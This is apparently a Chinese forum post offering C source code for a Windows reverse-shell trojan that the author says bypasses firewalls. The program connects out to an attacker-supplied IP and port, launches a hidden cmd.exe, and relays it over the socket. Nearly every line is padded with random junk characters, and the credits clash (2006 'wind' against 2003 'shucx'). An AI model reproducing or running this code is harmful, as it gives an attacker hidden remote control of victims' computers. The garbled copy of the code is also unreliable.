这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AUzJ:([V
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/* ============================== <J[*~v%(
Rebound port in Windows NT nLdI>c9R
By wind,2006/7 };29'_.."x
===============================*/ k&yy_r
#include {K_YW
#include D-~HJ
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#pragma comment(lib,"wsock32.lib") |~#!e}L(
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void OutputShell(); cf@:rHB}
SOCKET sClient; h9g5W'.#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7-6_`Q2}Y
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void main(int argc,char **argv) #^xiv/sV
{ ~wh8)rm
WSADATA stWsaData; Ca?pK_Y
int nRet; AO>K
6{
SOCKADDR_IN stSaiClient,stSaiServer; _EjS(.e/=
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if(argc != 3) _pjpPSV6J
{ s:w LEj+
printf("Useage:\n\rRebound DestIP DestPort\n"); vJmE}
return; @ iao"&
} ]5rEwPB
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WSAStartup(MAKEWORD(2,2),&stWsaData); EC?!%iO`
4)Z78H%>
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %w'@:~0
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stSaiClient.sin_family = AF_INET; +!.=M8[
stSaiClient.sin_port = htons(0); {#Mz4s`M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l.>QO ;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @i6D&e=
{ .CwMxuW
printf("Bind Socket Failed!\n"); vV8y_
return; E83{4A4
} wU?2aXY
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stSaiServer.sin_family = AF_INET; vseuk@>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #sAEIk/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }g>&l.2X
{ ]>*Z 1g;
printf("Connect Error!"); _g$6vx&
return; {9_CH<$W%U
} <=^YIp
OutputShell(); +4B>gS[ F
} AR/`]"'
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void OutputShell() jNrGsIY$
{ DFqXZfjm
char szBuff[1024]; cp[4$lu
SECURITY_ATTRIBUTES stSecurityAttributes; H[!by)H
OSVERSIONINFO stOsversionInfo; m:X;dcq'3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xjv?Z"X
STARTUPINFO stStartupInfo; Rz*%(2Vz
char *szShell; g%[lUxL
PROCESS_INFORMATION stProcessInformation; E]_sl/`{od
unsigned long lBytesRead; -zG/@.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pkBmAJb@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >(~;V;
stSecurityAttributes.lpSecurityDescriptor = 0; '1/uf;OXIH
stSecurityAttributes.bInheritHandle = TRUE; 5I t+ S+a
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H.!M_aJH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S : 9zz
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #Z (B4YO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LI"ghz=F
stStartupInfo.wShowWindow = SW_HIDE; &7JCPw
stStartupInfo.hStdInput = hReadPipe; ze!7qeW
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;]vE"M x$
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GetVersionEx(&stOsversionInfo); M nH4p
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switch(stOsversionInfo.dwPlatformId) sq-[<ryk
{ Dgp"RUP
case 1: QTtcGU
szShell = "command.com"; v34XcA
break; v7xc01x
default: N\<M4fn
szShell = "cmd.exe"; a:v&pj+|<
break; %k5^n0|*
} <|s|6C
vMj"%
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~Ci|G3BW
F|%[s|s
send(sClient,szMsg,77,0); fZT=q^26
while(1) ^Shz[=fd
{ @ 5|F:J
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ` *h-j/M
if(lBytesRead) rjx6Ad/\
{ D]Bvjh
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /<
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send(sClient,szBuff,lBytesRead,0); |HhUU1!
} Lc0^I<Y
else "P"~/<:)
{ ?_}[@x
lBytesRead=recv(sClient,szBuff,1024,0); MXSPD#gN
if(lBytesRead<=0) break; bC)diC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "*XR'9~7
} "qR
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} OAR#* ~q
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return; %R-"5?eTtu
}